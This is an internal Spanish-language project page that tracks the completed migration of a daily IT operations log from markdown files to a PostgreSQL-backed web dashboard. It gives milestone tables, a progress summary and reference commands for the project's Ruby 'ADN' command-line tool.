| **Responsable Técnico** | Lic. Ricardo MONLA | Operador directo |
| **Dirección de TIC** | (Jerárquico superior) | Dashboard asíncrono |
## Nodos Involucrados
### Nodos Exclusivos (Core)
| Nodo | IP | Rol en el Proyecto |
| :--- | :--- | :--- |
| [**srv-ns8**](../../../nodos/srv-ns8.md) | `10.0.10.8` | Servidor de la aplicación web (Docker) |
## Herramientas
| Herramienta | Uso |
| :--- | :--- |
| **React 18 + TypeScript** | Frontend SPA (bitácora web) |
| **Node.js + Express** | Backend API REST |
| **PostgreSQL 15** | Base de datos relacional |
| **Docker Compose** | Orquestación de servicios |
| **Ruby CLI (ADN)** | Comandos `db migrar:md`, `db exportar:md`, `db verificar` |
## Hitos Clave
| Fecha | ID | Estado | Hito |
| :--- | :--- | :---: | :--- |
| 05/03 | A1-A6 | ✅ | Etapa A: Web puede reemplazar al MD (esquema DB, API, UI gestión, formulario, rollover) |
| 08/03 | B1-B3 | ✅ | Etapa B: Comandos ADN hablan con DB (`inicio`, `cierre`, `backup` → DB-First) |
| 10/03 | C1-C2 | ✅ | Etapa C: MD se genera desde DB (`exportar:md`, exportación masiva) |
| 12/03 | D1-D3 | ✅ | Etapa D: Verificación y cierre (migración histórica, auditoría, header automático) |
---
## Progreso
```
Fase A: ██████████ 100% Web reemplaza al MD
Fase B: ██████████ 100% ADN habla con DB
Fase C: ██████████ 100% MD se genera desde DB
Fase D: ██████████ 100% Verificación y Cierre
```
---
---
## Detalle de Etapas
### Etapa A — La Web reemplaza al MD (Entrada de datos)
| # | Hito | Qué resuelve | Estado |
| :---: | :--- | :--- | :---: |
| A1 | **Esquema DB: gestion + resumen_nodos** | Tablas para Pendientes, En Proceso y Resumen Integral | ✅ |
| A2 | **API: endpoints gestion y resumen** | Backend para crear/editar/eliminar desde la Web | ✅ |
| A3 | **UI: Panel de Gestión** | Editar Pendientes y En Proceso desde el Dashboard | ✅ |
| A4 | **UI: Editor Resumen Integral** | Editar resumen por nodo desde el Dashboard | ✅ |
| A5 | **UI: Formulario de Entradas** | Crear entradas I-F-D-E desde la Web | ✅ |
| A6 | **Rollover automático** | Pendientes activos pasan al día siguiente (vía `activo=true`) | ✅ |
### Etapa B — Comandos ADN hablan con la DB (Automatización)
| # | Hito | Qué resuelve | Estado |
| :---: | :--- | :--- | :---: |
| B1 | **Refactor inicio.rb → DB-First** | `adn inicio de jornada` escribe en DB | ✅ |
| B2 | **Refactor cierre.rb → DB-First** | `adn cierre de jornada` escribe en DB | ✅ |
| B3 | **Refactor backup → DB** | Registrar eventos de backup como entradas en DB | ✅ |
### Etapa C — MD se genera desde la DB (Respaldo)
| # | Hito | Qué resuelve | Estado |
| :---: | :--- | :--- | :---: |
| C1 | **Exportador Ruby: md_exporter.rb** | `adn db exportar:md FECHA` genera MD desde DB | ✅ |
| C2 | **Exportación masiva** | `adn db exportar:md --todo` regenera todos los MDs | ✅ |
### Etapa D — Verificación y cierre (Confianza)
| # | Hito | Qué resuelve | Estado |
| :---: | :--- | :--- | :---: |
| D1 | **Migración histórica** | `adn db migrar:md --todo` importa historial | ✅ |
| D2 | **Verificación de cobertura** | `adn db verificar` audita MD ↔ DB | ✅ |
| D3 | **Desactivar edición manual** | Header `<!-- GENERADO AUTOMÁTICAMENTE -->` en MDs exportados | ✅ |
---
## Comandos ADN (Referencia)
```bash
# Flujo diario (DB-First)
./adn/tools/run db evento:crear --nodo NODO --inicio HH:MM --descripcion "..."
./adn/tools/run db evento:listar --desde FECHA --detalle
# Importar MD existente → DB
./adn/tools/run db migrar:md FECHA [--sobrescribir]
./adn/tools/run db migrar:md --todo [--sobrescribir]
# Exportar DB → MD (respaldo)
./adn/tools/run db exportar:md FECHA
./adn/tools/run db exportar:md --todo
# Auditoría
./adn/tools/run db verificar
./adn/tools/run db estadisticas
```
---
## Estado: COMPLETO ✅
| Etapa | Progreso |
| :--- | :---: |
| A — Web reemplaza al MD | 6/6 ✅ |
| B — ADN habla con DB | 3/3 ✅ |
| C — MD se genera desde DB | 2/2 ✅ |
| D — Verificación y cierre | 3/3 ✅ |
> **Cobertura de migración:** 88.9% (16/18 bitácoras con entradas). Las 2 restantes son días sin actividades detalladas.
## Referencias
- **ADN**: [Ontología](../../../adn/01_ontologia.md) | [Proyectos](../../../adn/07_proyectos.md) | [Bitácora](../../../adn/02_bitacora.md)
- **Proyecto relacionado**: [P2603 Bitácoras](../P2603_Bitacoras/P2603_bitacoras.md)
- **Bitácoras**: Consultar en DB vía `./adn/tools/run db evento:listar --detalle`